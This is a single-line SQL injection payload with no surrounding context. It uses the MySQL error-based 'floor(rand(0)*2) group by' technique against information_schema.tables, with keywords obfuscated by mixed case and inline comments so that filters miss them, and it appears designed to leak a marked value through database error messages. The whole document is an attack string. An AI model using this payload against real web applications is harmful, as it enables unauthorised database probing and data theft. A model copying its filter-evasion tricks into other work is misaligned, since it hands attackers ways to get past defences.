(/**//**/sElEcT 1 /**//**/fRoM(/**//**/sElEcT count(*),/**//**/cOnCaT((/**//**/sElEcT (/**//**/sElEcT /**//**/uNhEx(/**//**/hEx(/**//**/cOnCaT(0x7e,0x413936313543373834333044,0x7e)))) /**//**/fRoM information_schema./**//**/tAbLeS /**//**/lImIt 0,1),floor(rand(0)*2))x /**//**/fRoM information_schema./**//**/tAbLeS group by x)a)